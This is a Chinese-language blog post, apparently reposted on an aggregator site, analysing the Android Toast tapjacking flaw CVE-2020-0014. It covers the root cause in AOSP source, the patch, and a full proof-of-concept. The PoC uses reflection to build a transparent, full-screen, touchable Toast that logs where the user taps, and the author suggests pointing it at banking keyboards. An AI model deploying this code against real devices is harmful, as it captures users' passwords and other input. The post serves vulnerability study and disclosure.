CVE-2020-0014 Toast组件点击事件截获漏洞
Posted Tr0e
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-0014 Toast组件点击事件截获漏洞相关的知识,希望对你有一定的参考价值。
文章目录
前言
Toast 组件是 android 系统一个消息提示组件,比如你可以通过以下代码弹出提示用户“该睡觉了…”:
Toast.makeText(this, "该睡觉了…", Toast.LENGTH_SHORT).show();
2020年2月,谷歌安全公告 中修复了该组件一个高危漏洞,影响范围 Android 8.0 - 10:
来看下 美国国家漏洞库NVD 对该漏洞的简单描述:
对应翻译成中文大概就是说:“恶意应用程序可能会手动构建 TYPE_TOAST 窗口并使该窗口可单击。这可能会导致本地权限升级,而无需额外的执行权限”。
看到这可能也无法理解 Toast 组件可“点击”又如何,能构成什么漏洞?参考安全客某大佬发的分析文章 “通过安卓最新 Toast 漏洞进行 Tapjacking” 可以进一步了解到:“该漏洞可使恶意 App 通过构造一个可被点击的 Toast 视图来截获用户在屏幕上的操作,以达到搜集用户密码等敏感信息的目的”。Interesting,分析并学习一下!
漏洞分析
理解漏洞的产生根因可以从源码入手,理解以下代码从调用到弹出提示框,系统都经历了哪些流程。
Toast.makeText(context, text, duration).show()
组件源码
可以到 http://aospxref.com/ 查询 Andorid 8.0-10 的源码(比如 makeText 函数的源码位置),或者从配置了 SDK (API 28-30) 的 Android Studio 中即可查看源码 android/widget/Toast.java
:
//http://aospxref.com/android-8.1.0_r81/xref/frameworks/base/core/java/android/widget/Toast.java#104
/**
* Make a standard toast that just contains text.
*
* @param context The context to use. Usually your @link android.app.Application
* or @link android.app.Activity object.
* @param text The text to show. Can be formatted text.
* @param duration How long to display the message. Either @link #LENGTH_SHORT or
* @link #LENGTH_LONG
*
*/
public static Toast makeText(Context context, CharSequence text, @Duration int duration)
return makeText(context, null, text, duration);
/**
* Make a standard toast to display using the specified looper.
* If looper is null, Looper.myLooper() is used.
*
* @hide
*/
public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
@NonNull CharSequence text, @Duration int duration)
if (Compatibility.isChangeEnabled(CHANGE_TEXT_TOASTS_IN_THE_SYSTEM))
Toast result = new Toast(context, looper);
result.mText = text;
result.mDuration = duration;
return result;
else
Toast result = new Toast(context, looper);
View v = ToastPresenter.getTextToastView(context, text);
result.mNextView = v;
result.mDuration = duration;
return result;
可以看到 makeText 方法会调用 Toast 构造函数生成一个实例,并构造一个 TextView 作为 Toast 的内容视图,再进一步跟进看下 Toast 的构造函数:
/**
* Constructs an empty Toast object. If looper is null, Looper.myLooper() is used.
* @hide
*/
public Toast(@NonNull Context context, @Nullable Looper looper)
mContext = context;
mToken = new Binder();
looper = getLooper(looper);
mHandler = new Handler(looper);
mCallbacks = new ArrayList<>();
mTN = new TN(context, context.getPackageName(), mToken,
mCallbacks, looper);
mTN.mY = context.getResources().getDimensionPixelSize(
com.android.internal.R.dimen.toast_y_offset);
mTN.mGravity = context.getResources().getInteger(
com.android.internal.R.integer.config_toastDefaultGravity);
Toast 构造方法主要是实例化 Toast 的私有内部类 TN,再来看 TN 的构造方法:
/**
* Creates a @link ITransientNotification object.
*
* The parameter @code callbacks is not copied and is accessed with itself as its own
* lock.
*/
TN(String packageName, @Nullable Looper looper)
// XXX This should be changed to use a Dialog, with a Theme.Toast
// defined that sets up the layout params appropriately.
final WindowManager.LayoutParams params = mParams;
params.height = WindowManager.LayoutParams.WRAP_CONTENT;
params.width = WindowManager.LayoutParams.WRAP_CONTENT;
params.format = PixelFormat.TRANSLUCENT;
params.windowAnimations = com.android.internal.R.style.Animation_Toast;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.setTitle("Toast");
params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
mPackageName = packageName;
if (looper == null)
// Use Looper.myLooper() if looper is not specified.
looper = Looper.myLooper();
if (looper == null)
throw new RuntimeException(
"Can't toast on a thread that has not called Looper.prepare()");
mHandler = new Handler(looper, null)
@Override
public void handleMessage(Message msg)
switch (msg.what)
case SHOW:
IBinder token = (IBinder) msg.obj;
handleShow(token);
break;
case HIDE:
handleHide();
// Don't do this in handleHide() because it is also invoked by
// handleShow()
mNextView = null;
break;
case CANCEL:
handleHide();
// Don't do this in handleHide() because it is also invoked by
// handleShow()
mNextView = null;
try
getService().cancelToast(mPackageName, TN.this);
catch (RemoteException e)
break;
;
TN 对象构造函数主要对 mParams 进行了初始化,赋值了一些系列默认属性如 param.type 为 TYPE_TOAST,尤其还注意到 params.flag 属性的默认选项 FLAG_NOT_TOUCHABLE,这个选项设置后显示出的 Toast 不会接收任何触摸事件(后面会补充解释)。
此外还可看出 TN 对象是实际上的 Toast 控制者,负责实现处理 Toast 显示、隐藏、取消的方法。但是在当前例子中我们只关心 Toast 的显示,即 TN 对象的 show() 方法,show() 方法最终又会被走到 handleShow() 方法中:
public void handleShow(IBinder windowToken)
if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
+ " mNextView=" + mNextView);
// If a cancel/hide is pending - no need to show - at this point
// the window token is already invalid and no need to do any work.
if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE))
return;
if (mView != mNextView)
// remove the old view if necessary
handleHide();
mView = mNextView;
Context context = mView.getContext().getApplicationContext();
String packageName = mView.getContext().getOpPackageName();
if (context == null)
context = mView.getContext();
mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
// We can resolve the Gravity here by using the Locale for getting
// the layout direction
final Configuration config = mView.getContext().getResources().getConfiguration();
final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
mParams.gravity = gravity;
if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL)
mParams.horizontalWeight = 1.0f;
if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL)
mParams.verticalWeight = 1.0f;
mParams.x = mX;
mParams.y = mY;
mParams.verticalMargin = mVerticalMargin;
mParams.horizontalMargin = mHorizontalMargin;
mParams.packageName = packageName;
mParams.hideTimeoutMilliseconds = mDuration ==
Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
mParams.token = windowToken;
if (mView.getParent() != null)
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeView(mView);
if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
// Since the notification manager service cancels the token right
// after it notifies us to cancel the toast there is an inherent
// race and we may attempt to add a window after the token has been
// invalidated. Let us hedge against that.
try
mWM.addView(mView, mParams);
trySendAccessibilityEvent();
catch (WindowManager.BadTokenException e)
/* ignore */
从 handleShow 的实现可以看到 Toast 的本质上是获取到系统的服务 WindowManager ,然后通过调用 WindowManager 的 addView 直接将视图显示出来。
此处 WindowManager.addView 的第二个参数为 WindowManager.LayoutParams ,前面提到初始化的 mParams.flags 里包含一个选项 FLAG_NOT_TOUCHABLE 使得 Toast 在默认情况下不能接受触摸事件,但如果我们通过反射的方式,在 Toast 调用 show() 方法之前就将 mParams.flags 中的 FLAG_NOT_TOUCHABLE
选项清除掉,那我们便能获得一个可以监听触摸事件的的 Toast 了,这便是该漏洞的成因。
触摸属性
在前面的文章:Android安全与隐私相关特性的行为变更分析 中,分析 Android 12 新增特性时我简单介绍过 Android 12 通过限制 FLAG_NOT_TOUCHABLE
属性来限制悬浮窗点击透传事件导致的漏洞。
简单来说,FLAG_NOT_TOUCHABLE
属性可以将 Window 设置为永不接收触摸事件,从而能够将触摸事件透传给蒙层遮盖住的下层区域,不阻塞用户操作。但是这种点击事件的透传由引发了一系列点击劫持类型的漏洞(详情请参见:不可点击观察的威胁:Android中的不可点击的劫持攻击),所以谷歌限制设置了FLAG_NOT_TOUCHABLE
属性的组件的点击透传的场景。
换句话说,由于 Toast 组件默认是设置 FLAG_NOT_TOUCHABLE
属性的,所以你能看到发生 Toast 弹窗的时候,并不会影响你透过 Toast 弹窗所在的位置进一步点击手机屏幕、完成你想干的点击事件。但是, FLAG_NOT_TOUCHABLE
属性带来的点击事件透传导致的劫持漏洞,正是因为恶意悬浮窗设置了该属性,目前咱们讨论的 CVE-2020-0014 漏洞,为什么反而要去通过反射修改掉 FLAG_NOT_TOUCHABLE
属性呢?
原因在于如果将FLAG_NOT_TOUCHABLE
选项清除掉,那我们便能获得一个可以监听触摸事件的 Toast 了,而监听触摸事件又能实现监听用户点击屏幕的坐标位置,从而猜测用户的操作,比如输入的密码数据。具体危害下文的漏洞利用和复现环节将加以直观地体现。
漏洞利用
分析完漏洞根因,下面开始看看如何验证、利用该漏洞。已有大佬已完整将 POC 开源到 Github:CVE-2020-0014-Toast,按需自取,不过由于本人复现过程发现验证失败,故自行做了代码更新,详见下文。
POC分析
从 Toast 类出发,找到需要反射修改目标参数 mTN 和 mParams,如下所示:
public Class Toast
// --- snip --- //
final TN mTN;
// --- snip --- //
private static class TN extends ITransientNotification.Stub
@UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P)
private final WindowManager.LayoutParams mParams = new WindowManager.LayoutParams();
// --- snip --- //
以下是弹出可监听触摸事件的 Toast 的关键代码:
public class ClickToast
public static void showToast(final Context context, int duration)
Toast mToast = null;
if (mToast == null)
MyTextView view = new MyTextView(context);
view.setText("nothing");
view.setAlpha(0);
mToast = Toast.makeText(context.getApplicationContext(), "hacker", duration);
mToast.setGravity(Gravity.TOP, 0, 0);
mToast.setView(view);
try
Object mTN;
mTN = getField(mToast, "mTN"); // Toast.mTN
if (mTN != null)
Object mParams = getField(mTN, "mParams"); // TN.mParams
if (mParams != null && mParams instanceof WindowManager.LayoutParams)
WindowManager.LayoutParams params = (WindowManager.LayoutParams) mParams;
//去掉FLAG_NOT_TOUCHABLE 使Toast可点击
params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE ;
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
catch (Exception e)
e.printStackTrace();
mToast.show();
//反射调用,将hide类型的私有属性修改为可访问状态
private static Object getField(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException
Field field = object.getClass().getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
return field.get(object);
return null;
主要方法就是通过反射的方式来修改 Toast 对象的TN对象的 mParams 属性,清除其 FLAG_NOT_TOUCHABLE 选项,并且将 Toast 布满屏幕,且设为全透明。
其中 MyTextView 类为自定义视图类,重写了 dispatchTouchEvent 方法来打印触摸坐标信息的日志。
public class MyTextView extends androidx.appcompat.widget.AppCompatTextView
public MyTextView(Context context)
super(context);
@Override
public boolean dispatchTouchEvent(MotionEvent ev)
float x = ev.getX();
float y = ev.getY();
Log.d("LittleLisk", String.format("x:%f, y:%f", x, y));
return false;
作为恶意 App 我们还需要设定一个弹出触摸信息记录 Toast 的时机,简单起见,我采用在 MainActivity 中循环创建一个新的子线程来周期性弹出全透明 Toast 以窃取用户触摸信息( Github 上给出的 POC 是通过启动一个 Service 来周期性弹出全透明 Toast 以窃取用户触摸信息,但是我复现失败了)。
while (true)
try
Thread.sleep(3500);
new Thread(() ->
Looper.prepare();
Log.e(TAG, "begin");
ClickToast.showToast(this, Toast.LENGTH_SHORT);
Looper.loop();
).start();
catch (Exception e)
e.printStackTrace();
以上便完成了 POC 的整体逻辑实现代码,下面来进行漏洞复现和验证。
漏洞复现
复现环境:Nexus 6 模拟器,Andorid 8.0
此处我模拟的是监听拨打电话的键盘的输入,可以看到最终的实际效果是:用户点击拨号键盘的时候,点击几次按键“1”,将有部分触摸事件点击到透明的 Toast 上并被记录下具体坐标信息,而其他点击事件将正常传递到拨号键盘上(因为刚好在 Toast 消失的时间窗口发生了点击,从而不会被 Toast 覆盖并截获点击事件)。
进一步的可以选择监听用户网银键盘的安全输入事件,危害自然就上来了,我想这也是这个漏洞被 Google 认定为高危漏洞的原因。
漏洞修复
来看下 Google 官方给出的 补丁修复方案:
具体代码修改位于 DisplayPolicy.java 的 adjustWindowParamsLw 函数当中:
/**
* Sanitize the layout parameters coming from a client. Allows the policy
* to do things like ensure that windows of a specific type can't take
* input focus.
*
* @param attrs The window layout parameters to be modified. These values
* are modified in-place.
*/
public void adjustWindowParamsLw(WindowState win, WindowManager.LayoutParams attrs,
int callingPid, int callingUid)
final boolean isScreenDecor = (attrs.privateFlags & PRIVATE_FLAG_IS_SCREEN_DECOR) != 0;
if (mScreenDecorWindows.contains(win))
if (!isScreenDecor)
// No longer has the flag set, so remove from the set.
mScreenDecorWindows.remove(win);
else if (isScreenDecor && hasStatusBarServicePermission(callingPid, callingUid))
mScreenDecorWindows.add(win以上是关于CVE-2020-0014 Toast组件点击事件截获漏洞的主要内容,如果未能解决你的问题,请参考以下文章